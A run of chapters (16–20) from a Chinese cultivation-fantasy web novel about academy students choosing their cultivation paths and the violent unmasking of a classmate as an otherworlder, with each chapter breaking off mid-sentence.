月光照亮远处的建筑和草木,空气潮湿微凉,经过湖泊时惊动了草丛里的几只萤虫,莹光闪烁。 “我决定修兵灵道,”崔大忽然说,“所以后面就不和你们一起上课了。” 这话一出,李二和周三望来。 前面说话的孙柏柔江弥也停下,回头看崔大。 启蒙院的课程大概分四个阶段,丁楼的启蒙识字,丙楼的修行常识,乙楼的术法教学,和甲楼的专修。 丁楼的要求是学会五百古字,通常需要一到两年,完成后才能进入丙楼。 丙楼的常识课涵盖内容非常多,包括天干地支、五行八卦、辰宿列张、奇经八脉、祈禳祭祀等,偏门的还有机关里面的机括原理,偃甲材料。 学员们根据爱好和自身擅长选课,大部分会每种知识都涉猎一点,了解后再决定最终修行方向。 乙楼是教习术法的地方,除了选定方向的修士,最多的是入门修士学习五行术的地方。 崔大几人去的最多的也是丙楼和乙楼。 而甲楼,则是选定修行方向后的特定课楼,邢歌和陆怀就在这里上课。 崔大选择兵灵后,以后只会去甲楼。 “不再多了解下?我们现在只知道些皮毛,草草定下来不好吧?”李二说完,见其他人都沉默,摸着鼻子望向周三:“你也劝劝他啊,我们才刚学一年,要是选错以后想转修都难。” “我已经决定了。”崔大说完去看周三,“你最近选的课都是星宿,准备做个星修?” 李二看看周三,又看看崔大,张了张嘴:“你们……都选好了?” 周三说:“差不多。” “其实……”孙柏柔忽然开口,“我也决定好了,教习说我灵性高,适合走巫道,我对占卜也很感兴趣。” “你们……”李二哑然。 他忽然生出一种被抛弃的感觉。 他们四人平时一起上课吃饭,形影不离,不管和齐乐不对付还是去藏书馆找江弥,明明都是说一样的话,做一样的事,怎么就他什么都不知道。 他竟然都没发现,每个人都在向自己的目标和方向前进,只有他还在打转。 江弥对此没有想法,她今天精力用尽,很累,便点点头表示知道了,丢下一句“下课一起吃饭”就往自己西舍去。 “明天食堂老地方啊!”孙柏柔也跟着往西舍去。 崔大往西舍男区 16. 016 《他们要我成为异世大佬》全本免费阅读 为了防止江弥再次开口,女教习直接道:“你给我坐下,正式上课。” 江弥瞬间变成乖乖学生。 其他学员也被江弥这波操作给镇住,能把教习烦得让其强行闭嘴,好牛逼一人。 “你们认为世界是怎样的?” 女教习一开口就是哲学问题,虽然是提问的形式,但并没有让他们开口的意思。 “我们用眼睛看到的,用耳朵听到的,用鼻子嗅到的,用舌头尝到的,以及身体感触到的,这些构成我们对世界的感知。感官五识,加上我们的所思所想,也就是意识,构成六识。六识,这些就是我们这些独立个体的人,认识世界的方式。”女教习绵长又熟练地说完,话锋一转,再度提问:“但仅凭这些,我们就能了解这个世界了吗?” “瞎子缺少眼识,于是他通过耳鼻舌身意五识感知世界,聋子缺少耳识,他就只能通过另外五识感知世界,那他们感知的世界还是相同的吗?世界有多少个?谁感知的世界才是正确的?” 这几个问题一抛出来,所有孩子都开始思考。 “我们都知道,世界只有一个,那么谁感知的世界是真的?谁感知的又是假的、片面的?有人理所当然认为,拥有完整六识的人感知到的世界是真的。但谁能证明,人只有六识?我们为什么不会是缺少某一识的残疾人?” 女教习停顿五秒,给他们思考时间,然后道:“现在回到最初的问题上,心界是什么?” “心界是藏在我们身体的门,也是通往真实世界的门,它藏在你们意识最深处,是情绪,是本能,是不知来源的所有直觉。触及它,感受它,推开它,你们看到的就是识界。” 有学员迫不及待开口:“所以识界就是真实世界!” 几段话将一个全新视角的、充满谜团的世界在他们眼前徐徐展开。 我看到的就是真的吗?真正的世界是怎样的? 我们为什么可以修炼,而其他人不可以? 如果心界是六识之外的第七识,那第七识后的识界,就是真实世界吗? 他们看到了真实的世界吗? 可识界是真实世界的话,那为什么其他人无法看到我的识界? 每个人心里都涌出从前未曾想过的问题,他们对眼前揭开世界面纱一角的女教习露出渴求神情。 女教习不紧不慢地拍手,那说话的学员正要为自己说出正确答案而高兴,女教习忽然指着门外:“给我滚出去听。” “啊?”一女学员没懂事情发展,发出疑惑。 女教习指她:“你也出去。” 不少人这才想起,教习讲课不许说话! 不知为何,他们将目光转向认真听课的辫发女孩,心里齐齐发问:你刚才那么会说,现在怎么安静了? 短暂的插曲结束后,女教习道:“识界是不是真实世界,我也不知道。” 这话一出,学员们脸上垮的垮,惊讶的惊讶,没懂刚才教习说得那么自信又底气十足,怎么就不知道了。 女教习扫视一圈:“你们这是什么表情?如今修真界顶级修士都不知道的问题,我一小小启蒙院教习又怎么会知道?” 这话让拽得不行的女教习太接地气,有学员忍不住嫌弃地“咦~”了声,然后被请出去。 为避免类似事情发生,其他学员纷纷捏嘴捂嘴。 女教习说:“即便真实世界的全貌暂且未知,但毫无疑问,拥有识界的我们,是最接近真实世界的。有高阶修士将识界比喻成真实世界的投影,它将你们的修行之路具象化,也就是走仙梯。” “识界本身就是非常规的,所以里面出现任何怪异都不用惊讶,有的识界是刀山火海,有的识界是大雪酷日,也有的日月同辉昼夜共存,那是你们思想和修行的映射之地,欲望念想、憎恶爱欲、功法心诀,所有都将显示在那里。” “当然,也包括弱点。” 女教习给出告诫:“不要向任何人袒露识界。” 众人意识到这话的重要性,默默记在心里。 “接下来我们浅谈修炼的事。修炼修的是什么,为什么能修行,要知道这些,你们首先要知道什么是气,气,我们也将其称为元气,真气,它是……时间到,下次讲,下课。” 女教习说到一半,毫不拖泥带水的结束课程。 众人看着踩点来掐点走的女教习,在心里齐齐哀嚎:你至少将气是什么讲完啊! 学员们上课前战战兢兢,上课后精神抖擞又抓耳挠腮,纷纷讨论着离开教室。 江弥也起身往外走,心中思索,如果识界是真实世界的投影,并混杂修士本人的思想感情,那肯定不会是黑暗一片。 所以问题还是出在她身上? 她是不是有点子不对啊? 先是字灵,虽然被字灵排斥也有她自己的问题,但排斥成她这样,也是少见的吧。 然后是左眼发病,她已经放弃将其和异世者特殊能力关联在一起了,除了痛,什么用都没有。 现在又来个黑暗识界,难道我内心已经阴暗到只剩下黑暗了吗?不应该吧,我觉得我挺阳光开朗的啊! 江弥试图展开笑脸,一出门就见李二面色怪异看她,江弥放弃微笑,两人去食堂路上边走边聊。 李二问她听得什么课,江弥如实说,听说是这位女教习,李二忽然郁闷道:“我听这堂课时齐乐也在,他以一己之力激怒教习,所有人都陪着他站在外面听课,不巧的是那天正在下雨,所有人都砸成落汤鸡。” 刚说齐乐就见到真人,他正在食堂回收餐盘处做工,再一看,他的几个小弟正在打扫餐桌上的残渣。 再桀骜难驯的孩子,犯院规也得乖乖受罚。 李二扬眉吐气走过去,对着齐乐哈哈哈大笑三声,在对方骂出口前连忙溜掉,幼稚得江弥嘴角一抽。 李二干咳两声,解释:“这个说来话长,反正看到他们就走远点,要是他们再欺负你找我们,崔大几个没空你就拉上我,我给你出气。” 江弥没说什么,继续排队。 两人端完饭坐着等了片刻,江弥借这个机会问李二气的问题。 食堂人散去一半时,另外三人姗姗来迟,风卷残云吃了饭纷纷说晚上要加练,不跟他们一起吃。 三人刚进甲楼,除了孙柏柔摸到一阶门槛,另外两人在其他学姐学长面前压根不够看,进度跟不上,压力成倍增大,只能晚上加练追赶。 李二是能理解,可看着三人匆忙离开的背影,还是觉得手里的饭不香了。 他问江弥:“你接下来选的什么课?” 江弥将自己拟定的课表目录递过去,这些是她根据孙柏柔和蔡平秋建议挑出的重点。 丙楼的课程多且杂,不同课程由不同教习传授,还要考虑课程进度、中途进去能否跟上等问题,所以怎么选课也是一门学问。 李二扫一眼说:“都是常识理论啊,你打算从哪个修炼方向开始上课?” 江弥:“还没想好,先了解最基础的理论吧,有几节课挺感兴趣,但进度跟不上,等下次课程重开。” 李二指着其中两节课说:“这个教习的课可以直接上,内容是片段式的,正好我也在上,明天带你去。” 两人吃完往藏书馆的方向去。 江弥要听的课都不在下午,她打算去找些基础内容的书自己先了解,再结合课堂吸收。 而李二是——“我的课比较晚,反正现在没事情做,其他几人也不在,我跟你一起去。” 藏书馆的教习一看到江弥就皱眉。 好歹也在这里呆了一年,江弥主动上前道谢:“之前给您添麻烦了,我能克服识字障碍还要多谢您。” 教习摆摆手:“我就算了,要谢就谢老陈,学员那么多,我怎么管得过来,还不是老陈天天念叨,被他烦死。” 老陈就是丁四教的陈教习,看见江弥写字就将她赶出教室的那位。这位教习脾气不好,但心肠不错。 江弥行礼:“多谢教习提醒。” 她熟门熟路地进入藏书馆书架,在里面翻翻找找,半个时辰后,江弥抱着几本书难以决策。 李二脑袋凑过来看两眼:“你选哪本?” 藏书馆只允许借单本,五天后就得还,这几本都是江弥要看的,要不,她还是在藏书馆待到 17. 017 《他们要我成为异世大佬》全本免费阅读 回到西舍后江弥并没有立即看书,而是进入入定状态,沉浸在识界里。 这是她每日都会做的事,为了观察她识界的变化。 今天的识界还是一片漆黑。 这种黑暗不是夜幕降临带着凉意的黑,也非密闭空间压抑闭塞的黑,她的意识身在其中,没有害怕或者孤单情绪,只是很平静,就好像她将眼睛闭上,意识在虚无的黑暗里游走。 感觉好像也没那么不正常。 江弥在心里欺骗自己一秒钟。 在识界里找不到答案,也无法询问,江弥只能将自己沉浸在书中,疯狂吸收知识。 第二天江弥房门如常被敲响,孙柏柔一大早过来帮她编发辫。 江弥透过镜子看到她眼皮下的青黑,说:“你最近比赛,还有甲楼训练,头发的事我自己来。” 孙柏柔摇头说:“你就当是我的解压方式吧。我昨晚去看崔大,他被学长压在地上没法动,两条胳膊脱臼了,我都不敢让他看到我。周三好点,陆怀学长在,还能指点他,但他要观星,估计整夜没睡。我有些理论课还没学到,昨晚熬了个通宵,压力大到睡不着。” “但跟你待会儿就困了。”说着她打了个哈欠,用发带绑住发尾后,脑袋搁在江弥肩膀小声抱怨:“早知道就等比赛结束后再去甲楼,现在完全没时间练习五行术。” 江弥问:“不睡会儿?” 孙柏柔摇头:“周三让我在他晨见时给他带饭去,不然他不是在睡觉就是在记录,还不能打断。” “去了甲楼才知道,甲楼特权就是多啊!”她说着领着木盒站身往外走:“我先走了,我们中午一起吃饭啊。” 早上的课是和李二约好的,江弥上课前将这些事转述给李二时,他好半晌不知道说什么,接下来的课堂上也很闷很多。 这堂课叫百神谱,一本书的名字。 让江弥自己来选课,她是绝不会选择这门的,惯性使然,她能快速接受这个世界可以修行的事,但不怎么相信有神,潜意识觉得这是宗教迷信。 孙柏柔和蔡平秋同时提到,就说明它确实很重要。 传说众神之战后,神陨的陨,遁的遁,这片大陆上很难找到他们的足迹。 而这些神的事迹则是上古巫族沟通神灵后留下的记录,由于时间太过久远,历史上巫族发生数次大迁移,加之记录方式变化等,致使流传下来的记录残缺不全。 被文字记录下来的有一百位神,有人将其习性、能力事迹编册,也就是百神谱。 它原是某大家的收藏,后不知什么原因将其贡献出来,作为启蒙院的基础常识课。 讲百神谱的教习是个老先生,走进来时手里端着杯茶,将冒热气的茶放在桌案上,他随意一坐,跟说书先生似的一拍桌案,朗声笑说:“今天要讲的是——一言佛。” 一言佛是陨落方式最为离奇的神,祂不是在众神之战的战场上战死的,也非自然陨落,而是自动散去神力神体和神魂,只留下一个“不可说”的言咒。 “因为‘不可说’无法宣之于口,于是没人知道那言咒封印的是什么存在,只据说有修士奇遇得到上古神物,获晓了‘不可说’的一部分,当旁人问起时此人只留下一句话——” “当你意识到的瞬间,便明白这是‘不可说’。” 故事很简短,编著者有故作神秘的嫌疑。 所以当教习说完用杯盖撇去茶末时,下面的学员都忍不住开口提问。 “教习,这‘不可说’到底是什么啊?” 教习呵呵放下茶杯:“‘不可说’即不可言说,说了会被言咒诅杀,无一幸免。” “十二阶修士也不能说吗?” 教习好脾气说:“不能,就是神也不能。” “教习,一言佛为什么要那么做呢?” 教习摇头:“恐怕只有尚存的神知道了。” “神和十二阶比,哪个厉害?” “教习,下个神会讲谁?” “教习……” “教习……” 江弥离开教室时,甚至怀疑教习只是想提早下课,才选了这么个记录含糊什么都没有的神来讲。 尚存的神…… 这个世界真的有神吗?字灵算吗?如果有神这样的存在,神知道异世者吗?他们的穿越和神有关系吗? 上午的课结束后,江弥在食堂提出自己的疑问,几人都很奇怪看她,每个人都说出自己的佐证。 崔大正在大口吃肉,他咽下后说:“当然有神了,不然我们怎么修行掌握非凡力量?” 李二却说:“没有神的话,小混沌又怎么会有妖魔?有妖魔就肯定有神。” 周三给出简短两字:“有神。” 只有孙柏柔给出靠谱答案:“因为有神脉家族啊,他们是神的后裔,他们本身就是神存在的证明。而且巫最开始就是沟通神灵的存在,只是神灵陨落后演变成现在拥有多个分支的巫道。” 崔大和李二面面相觑,显然没听过什么神脉家族。 但大家都没有深究的想法,甲楼三人说完又开始匆忙扒饭。 李二看看崔大,他吃饭的手在抖,又看看周三,他整个人被抽了精气神似的,无精打采,转向孙柏柔,眼睛下青黑一片,看着也不太好。 李二认真地将自己碗里的肉分成三份,夹到三人碗里,得到的是三道嫌弃—— 崔大一把将筷子扣桌上怒道:“你就算不吃也不能把咬过的肉扔我碗里啊!都是你的口水!” 周三直接将肉扔回去。 孙柏柔用筷子夹着也想扔回去,但李二明显一脸受伤表情,她只好顺势丢给江弥。 江弥再丢给李二:“我不要。” 李二的自我感动还没开始就被这群没良心的气得直接掀盘子,但掀盘子就要禁食两日,他只能含泪咽下所有肉,嘴里说出含糊的狠话:“你后都别想宅吃我的漏!” 放狠话还不够泄愤,他还在回收处朝齐乐十分嚣张地大笑了足足三分钟,要不是齐乐小弟死死拉着,食堂就要爆发一场恶战! 但这行为看得崔大周三孙柏柔满脸嫌弃。 李二直面了三人的嫌弃,直接被气去乙楼练五行术,他要在五行术上将这三打到! 崔大笑着和周三击掌,孙柏柔也露出笑。 他们都发现李二最近的反常。 三人进入甲楼后各种应接不暇,不单李二不适应三人离开的变化,他们三人也不适应骤然的高压和修炼强度,但每个人都有催促他们前进的理由。 他们不可能为李二停下来,李二也不可能毫无目的的钻入甲楼。 每一个人都有自己的步调,一味的追赶和迁就都没法走太远,可若每个人只专注自己的路,大家只会渐行渐远,他们需要有一根牵扯彼此的绳子。 如同曾经的江弥和孙柏柔,孙柏柔选择为江弥辫发,这次,不管是修行重压还是时间紧迫,崔大周三孙柏柔都坚持和李二江弥来食堂。 很美好不是吗? 江弥去丁四教的路上也还是这么想的。 将馆藏室教习要她送来的一本书放到桌案上,江弥对躺在椅子上睡觉的陈教习道:“这是您要的书,这一年来多谢您的照拂。” 陈教习半睁着眼看他,指指在沙盘上玩沙的几个孩子:“感激就帮我带课。” 说完他闭眼开始打起呼来。 江弥望向教室里的几人,都是新面孔。 每隔一段时间就会有混沌受害者被送进来。 也意味着,每隔一段时间就有异世界降临这个世界。 江弥深吸口气,走到练字的学员中间,她在一名小孩面前纠正他的握笔姿势,随后打开他的大字书,翻了几页,找到一个笔画简单的古字。 木棍在沙盘中画出笔画,江弥条分缕析道:“学习古字要发挥想象力,你看这个字,这个形状像不像草 18. 018 《他们要我成为异世大佬》全本免费阅读 太突然了! 怎么这么快?会是陆怀吗? 江弥大脑有些混乱,但她知道,不能让邢歌过去,一定不能让她过去。 “邢学姐我们先去找陆怀学长,不是说异世者很厉害吗,我们和陆怀学长汇合再……” 邢歌没等江弥说完,而是按住她:“你别待在这里,去教习所在的东舍,那里最安全。” “邢学姐!”江弥伸手想抓住她,却只触碰到衣角甩动的风,再抬眼,邢歌已经跑出很远。 又有数道极快的影子掠过,从课楼和旧宿方向来。 正在上课或修行或休息的教习同时出动,平时看着和睦没脾气的教习们面上严肃,朝着巨大轰隆声去。 “异世者!在这里啊!” 那声高亢的声音没有停止,仍旧在拼命嘶吼,癫狂而极端的情绪犹如瘟疫般快速蔓延开。 启蒙院里最不缺的,就是对异世者恨之入骨的人,很多人因异世者出现而惊恐逃离,却有更多的,是转身奔向异世者,他们有的是刚入启蒙院怀抱着浓烈恨意的孩子,有的是用仇恨做动力日复一日苦练的少年,也有的,资质普通悟性不足却咬牙往前,只盼与仇敌同归于尽的。 江弥站在滚滚人河里,隐约从一张张扭曲的面孔上看到熟悉的影子—— 有个是经常在食堂和藏书馆擦肩而过,腼腆爱笑,喜欢看书,也有那个胆大到去女教习课堂八卦却被点名赶出去的朱铭,还有课堂上喜欢提问的女孩,嚣张跋扈爱好欺凌人的高个儿。 不同的性格不同的面孔,却在此刻被仇恨拧成同一张脸——憎恶、愤恨、怒火。 江弥忽然被拽了下,然后是李二气喘的关切:“江弥你没事吧?” 江弥抬眼看李二,指着众人前往的地方说:“那里有异世者。” 李二点头:“我知道,你有没有事?被人撞到了吗?这里人太多,我们去其他地方。” 江弥正站在人流来往的道路中间,李二刚将她拉出来,就听到不远处崔大和孙柏柔喊他们的声音。 他们汇合着相互看对方情况。 崔大举目四望:“三儿呢?没看到他。” 孙柏柔也面露担忧:“我去他教室找过,不在,会不会在西舍补觉?” 崔大同李二道:“我去西舍找他,你们先离这边远点,去东舍那边,不,教习都过来了,去甲楼,柏柔,你带他们去甲楼。” 江弥忽然说:“异世者出现了。” 孙柏柔一把抓着她的手,紧紧地,像是担心她会冲进人群去找异世者报仇般,她说:“你还没开始修炼,太危险,不能过去。” 李二也安慰她道:“教习他们肯定会杀掉异世者,我们先去甲楼。” 崔大也点头,转身往西舍的方向跑。 江弥看着崔大的背影淹没在人群中,看着李二在前面开道,孙柏柔边护着她前行边寻找小道。 很美好,不是吗? 江弥现在也是这么想的。 杂乱的声音中夹杂着一道哭声,并不起眼。 一名少年好似承受了巨大打击般摇头低语,不管不顾地冲进人群,无人听清他说的是什么,也没人在意。 所有人沉浸在异世者出现的巨大癫狂中。 忽然,他绝望地大哭出声:“是陆学长!是陆怀啊!异世者怎么会是陆学长?!” 这话犹如石子落入湖中,荡开的涟漪带着不可思议的力量,以他为中心的人群骤然停滞,滚烫的嘈杂声缓慢冷却。 又有几道惊慌大喊从后方传来。 “异世者是陆怀!甲楼星修天才陆怀!他是隐藏在心一院的异世者!” “他能召唤出星兽!二十八宿之一的氐土貉!” “陆怀和教习打起来了!” 犹如一道又一道惊雷砸下,混乱的人群受到惊吓般安静到极致,死一般寂静,三秒后,又掀起比之前更恐怖的声浪,沸反盈天。 前往甲楼的三人停下,耳旁学员的愤怒和咒骂丝毫无法将他们从震惊中唤醒。 江弥已经冷静下来:“邢歌去杀异世者了。” 孙柏柔忽然睁大眼,不敢想象那里正在发生的事。 江弥将手从孙柏柔掌心抽出:“我要去那里。” 孙柏柔和李二同时出声:“不行。” 江弥心知,这是她唯一光明正大同异世者接触的机会。 她对异世者一无所知,她的眼睛,她的识界,她甚至不知道还会有什么发生在她身上。 而她的敌人,顾臣,安抚教习,天诛院的人,还有她不知道的其他存在,远比她更了解异世者的奇特之处,这让她始终处于被动。 不能再这样下去。 胆怯退缩和过度保守只会让她故步自封,必须主动,她得抓住这次机会,不管是靠近还是观察。 她的内心在催促她前往。 江弥没有和他们争辩,只是说:“你们都有自己前进的理由,我也是。孙柏柔,我不需要保护。” 然而孙柏柔和李二却将她的这番话理解成复仇,她要向异世者复仇。 江弥没有同他们多说,在他们动摇时转身混入人流,朝着打斗动静最大的地方跑去。 孙柏柔反应过来时江弥已经不见人影,她焦急问:“怎么办?” 李二也站在原地干着急,却见孙柏柔抬脚要去追,李二急忙拉住她:“你也要去?” 孙柏柔说:“江弥一个人太危险,邢学姐帮助我们那么多,我也没法坐视不理,你先去找崔大……” “不行!说什么我也不能放你们不管。”李二拉着她胳膊不放,“一起去。” · “你藏在心一院有什么目的?背后主使的是谁?还有没有同伙在?” “陆怀,我们知道你不曾伤害无辜之人,放弃抵抗,只要你老实交代,我们留你一命!” “跟他废话什么?难不成还能相信异世者的话?我呸!” 赶来的教习抬首望向半空的陆怀,每人态度不一。 陆怀被一块草地托起立于半空,一只小巧的青蓝色动物乖巧盘在他肩上。面对教习的质问和劝告,他自始至终未置一词。 “油盐不进!他不配合我们还等什么?!”脾气暴躁的陈教习当即摸出武器。 那是一只成人高的毛笔,笔尖黑墨晕染,他双手持笔在空中点出几道,那几点墨迹变换形状,形成数百根黑色金属质感的长刺。 激愤而来的学员们被教习拦在外围,但即便相隔这么远,也还能感受到那满天长刺的压迫。 “杀死他!”有人小声说。 控制长刺的陈教习运转毛笔一挥,锵锵锵,长刺变换列阵形成包围,飞速射向陆怀并堵住他所有退路。 学员们咬着牙,屏住呼吸不敢眨 19. 019 《他们要我成为异世大佬》全本免费阅读 “新战力加入,逃生概率下降2%,是否离开?” “否。” “新战力加入,逃生概率下降5%,是否离开?” “否。” …… 狐狸:“由于多方战力加入,逃生概率已下降至42%,防御模式可维持三十二分钟三十三秒,攻击模式等级低,耗能大,无法给与战斗增福,不建议开启。综合以上数据,主人处于中等危险,请考虑逃生方案。” 陆怀站在草地上,平静却沉默。 半空真的是个很好的视野,从这里望下去,他能观察到大多数人的表情,愤怒、悔恨、不可置信。 他的教习,他的同伴,在仇视他。 曾经的信任和友善化作刀片,他正在接受一场名为仇恨的凌迟。 眼前的这幕,他在梦里见过无数次,他站在河边,所有人都在河的对面,他的教习在痛斥悔恨,他的同伴仇视怒骂。 还有邢歌。 陆怀心中轻叹:“我又能逃到哪里去?” 狐狸以为他在询问,计算数秒给出答案:“可提供三种逃生方案——” “方案一、引爆70%能量,剩余7%能量可逃遁千里外。此方案导致狐狸和主人同时休眠,不建议。” “方案二、同最高决策人谈判,附近人数五百二十七,将防御·反弹模式调整为防御·反攻击模式,精准射杀两百二十七人,挟持三百人,与其谈判。此方案消耗最少,执行度高,建议此方案。” “方案三、接受守望军邀请,请求支援,将防御·反弹模式调整为防御·铜墙铁壁模式,节省能量18%,可维持五十三分钟四十七秒。此方案消耗少,执行度高,建议此方案。” 天空忽然一暗,结界的土黄光晕染上蓝紫色。 陆怀举目望去,却见日曜之下,蓝色星光化作缕缕蚕丝,犹如散发蓝色光芒的白练。 陆怀刚进甲楼时,他的星修教习对他说:“把头抬起来,看看你头顶的天空,只要你抬头,星辰一直都在那里,无论白日黑夜,所以星辰之力也一直都在。” 现在,他的星修教习正在引动星辰之力,用无数星线绞缠结界,企图将他绞碎在万千重力下。 狐狸:“主人不必低落,狐狸本体对星辰之力有强抗性,星辰攻击无法破坏结界,防御模式可维持二十九分四十六秒。” 狐狸的本体是星兽氐土貉,星辰之力所化,毛发随之染上星光的蓝紫色,似狐非狐,模样可爱,很得女孩子喜欢。 陆怀问:“增加一人,逃生概率多少?” 狐狸:“逃生概率将下降11%~24%,低至20%以下,不确定性大大增加,不建议主人这么做。” “新战力加入,逃生概率下降10%。警告!逃生概率下降至32%!警告!主人处于高危险,请立即考虑逃生方案!” · 江弥艰难拨开人群跑到最前方,第一眼看到的不是陆怀,而是十多名教习在攻击莹蓝色球体,这些教习中有江弥熟悉的陈教习和藏书阁教习。 球体防御很高,无论落下什么攻击都纹丝不动。 局势僵持片刻,顾臣不知从何处出来,加入攻击队伍,紧接着给江弥上过课的女教习也扬鞭上前。 两人的加入让原本平稳的蓝色球体剧烈晃动,蓝色化作星光散开,露出结界中的陆怀。 和他的狐狸。 看到那只狐狸时,江弥呼吸顿住,下意识睁大眼。 这个距离她应该看不到什么,可不知是打开心界后身体感官变强,还是她原本就有这样好的视力,她竟然看到狐狸头顶的小块面板,面板上重复高亮刷着同一句话—— “主人处于高危险,请立即考虑逃生方案!” 和死神一样的游戏面板! 江弥所在的地方在一栋建筑的侧面,这是一个很不错的地方,能观察到战况,正前方的教习维持秩序的同时,还能帮他们挡下攻击余波。 来此的学员个个犹如一点就炸的炮仗,若不是教习在前方镇压,很难想象会发生怎样的暴动。 四起的嘈杂声中,隐约有异样的咒骂声,江弥开始没注意,直至听到熟悉的名字,才朝那边多看了几眼。 那是靠近人群外围的地方,五六人围成的小圈,他们正在对着圈中的人怒骂,还有人上前,似是在踢打。 所有人的目光都聚焦在教习围攻陆怀那边,加上太过喧嚣,以至于并不显眼。 江弥有了不好的预感,扭头去找维持秩序的教习。 · “你肯定一早就知道,你是不是还帮着异世者在暗地里算计我们?” “说不定她也是异世者,我们快点叫来教习。” “你是不是傻,她要是异世者不得是跟陆怀一样的天才?她现在连三阶都上不去,呸,我们中就是有你这样的叛徒,所以才让异世者一次次得逞!” “邢歌你横啊,你继续横啊!陆怀马上就要被教习杀了,你看看还有谁能帮你。” “说那么多做什么?她平时仗着陆怀——” “别给我提他!”一直任打任骂毫无反抗的邢歌忽然一把捏住挥过来的拳头,抬头目视他们,目光里恨意滔天,她浑身都在颤,咬着牙一字一顿道:“你们,别再给我提他!” 几人被邢歌的目光震慑,一时不敢说话。 那被邢歌抓住的人面色扭曲大喊:“痛痛痛……我的手!邢歌你给我放手!” 邢歌猛地甩手,那人撞在同伴身上,手臂脱臼也不敢再多说什么。 可邢歌仍在颤栗,她的牙齿上下打颤,浑身好像有把大火在剧烈燃烧,将她的心脏骨骼烧成一把灰。 她已经感觉不到痛了。 “你们在做什么!” 维持秩序的教习不知怎么突然过来,目光在畏畏缩缩的几人和邢歌身上扫了眼,他警告道:“告诉你们,现在别惹事……哎哎你给我回来!” 江弥心知现在大家情绪激愤,一点就着,担心邢歌被陆怀的异世者身份牵连,说动教习去闹事处,她自己隔着三两步的距离观察情况,不想邢歌突然冲出人群,直接往战斗中心跑去。 江弥停住两秒,也跟着邢歌冲出去。 “你哎,卷毛丫头你也别跑!”教习刚准备将邢歌追回来,突然又冲出个小的,接着就跟放了把火似的,学员们瞬间激昂起来。 严密的防线破了道口子,学员们不管不顾地大喊着“冲啊”乌泱泱涌出去。 教习气得口里脏话狂飙,往手心吐了口唾沫,蹲下来两手按在地上,就见下秒,百米之内,地面飞速生出无数草蛇,如同套马般将奔跑的学员两脚捆住。 一时间场面十分壮观,就跟下饺子般,一波接一波倒地,哀嚎声一片,将后面抬脚的学员给吓了回去。 教习起身拍拍手,过去就是对着屁股一人一脚:“跑!小崽子们你们有种再给我跑!” “还有两个人跑了。”有人不甘心喊。 教习飞过去踹他一脚:“我不知道人跑了?!” 他要再过去追人,后面的不知道又要跑多少,那卷毛丫头真是半点不省心,他就不该听她的劝跑去管什么闹事的。 后方发生的事邢歌一概不知。 她已经听不进任何话语,自从得知陆怀是异世者后,她耳边只有血液沸腾的滚动声,某种东西在她身体里迅速发酵,将她整个人撑开,她觉得自己下一秒就要爆炸了,她已经分不清这是什么情绪,恨意,愤怒,还是其他的什么? 大脑混乱成一片,脑海里自己浮现各种场景,一会儿是变成怪物的爹娘嘶吼着要杀她,一会儿是陆怀笑着说给你玩狐狸,一会儿是挡在她面前的弟弟被撕开,一会儿是陆怀在她身后说你只管往前冲,我在。 她在奔跑中望向半空中同教习战斗的人。 那是陆怀吗?不是什么别的人吗?怎么会是陆怀?陆怀怎么就是异世者? 脑海被各种问题充斥,最终只化作一个问题—— 如果陆怀是异世者,我要怎么办? 骤然 20. 020 《他们要我成为异世大佬》全本免费阅读 四处都是欢呼尖叫声。 所有的咒骂愤怒被兴奋激动替代。 教习分散到各处寻找陆怀尸体,甲楼高阶学员被分配清点伤亡和损失的任务。 孙柏柔从人群穿过,看到或大喊或茫然或欣喜的学员,心里有种说不出的难受。 “怎么有种打了胜战的感觉?”李二四面张望。 对他们而言,打败异世者,怎么不算一场胜战? 孙柏柔不想多谈,只说:“先找江弥和邢学姐。” 他们在一面墙角的阴影下找到两人。 邢歌看上去不是很好,靠在墙角低垂着头,孙柏柔走过去才发现她浑身都在发抖,情绪也像张到极致的弦,一点刺激就会绷断。 江弥坐在她身侧,似乎也在发呆。 李二正要喊两人,被孙柏柔按住,她上前走到江弥身边,轻轻碰了下她,见她回过神才小声问:“你还好吗?” 江弥摇头,转向邢歌:“邢学姐不太好。” 邢歌现在的样子很危险,好像即将崩溃,江弥不敢提一点异世者或陆怀的话题,也不敢让邢歌听见,只能将她待到这处僻静地。 孙柏柔也担忧看向邢歌,陆怀学长的事情对邢歌来说打击非常大。 江弥揉了下脸,打起精神:“你帮我看着学姐,别让人过来。顾教习有心理辅导相关经验,我去找蔡教习,她和顾教习关系好,你在这里等我。” 李二看看两人,也说:“那我先去找崔大和三儿,跟他们说这里的情况,免得他们找不到我们。” 一刻钟后。 顾臣是臭着一张脸过来的。 蔡平秋还在劝他:“你这样会吓到邢歌,脸色好看一点,异世者不是解决了吗?” 顾臣:“是啊,解决了。” 蔡平秋莫名从中听出咬牙讽刺的味道,但学员还等着他处理,于是好声好气说:“你既然是负责心理方面的教习,还是要有点责任感的,不然干嘛来启蒙院做教习,去投靠邵家谷家好了,你说是不是?” 江弥跟在两人身后听蔡平秋劝了一路,本来以为按顾臣的脾气早不耐烦了,但他竟然什么也没说。 孙柏柔正在一点点安抚邢歌,看到江弥带人过来时神情放松下来。 顾臣过去查看邢歌情况,用安神术强行让她睡着。 蔡平秋让孙柏柔和江弥先回去,看两人不放心,蔡平秋说:“这里交给我,邢歌不会有事。你们也受惊了,回去休息吧。” 孙柏柔还好,江弥的样子看着有点糟糕。 她的发绳在人群里被蹭掉,半边头发散在脑后,像颗小毛球,脖颈不知道被谁抓出几道红痕,脚上的鞋子也只剩一个。 被看到时,脚趾下意识动了动。 这是去追邢歌时跑掉的。 不注意还好,注意力一集中在身上,脖子脚上的伤口就变得热辣辣的。 孙柏柔主动跟蔡平秋告辞,江弥离开前,顾臣忽然说:“记得配合调查。” 这会儿崔大周三也被李二带来,一看江弥立即将她当伤员上上下下打量。 崔大抬手拨开她头发检查,拧眉问:“脖子怎么了?不是让你们去甲楼?” 李二在一旁添油加醋:“这两丫头主意大着呢!谁的话也不听。” 崔大忽然就有了老大的样子,抬脚踢他,劲儿不小:“把你留下来做什么的?她们乱跑,你也跟着乱跑?” 李二被踢得一个趔趄,龇牙咧嘴单脚乱跳。 周三路上刚得知异世者的消息,还没从震惊中回过神来:“搞什么?我只是补个觉,外面就大变样了?” 孙柏柔说:“你现在还在梦里,三儿快醒来。” 周三摸着脖子扭了下:“我也觉得是梦,不然你怎么会喊我三儿呢?话说,你们俩是不是该喊我三哥?” 崔大当即不闹了,扭头说:“喊大哥!” 李二一瘸一拐跑过来:“喊二哥!” 周三:“来来来,喊声三哥听听。” 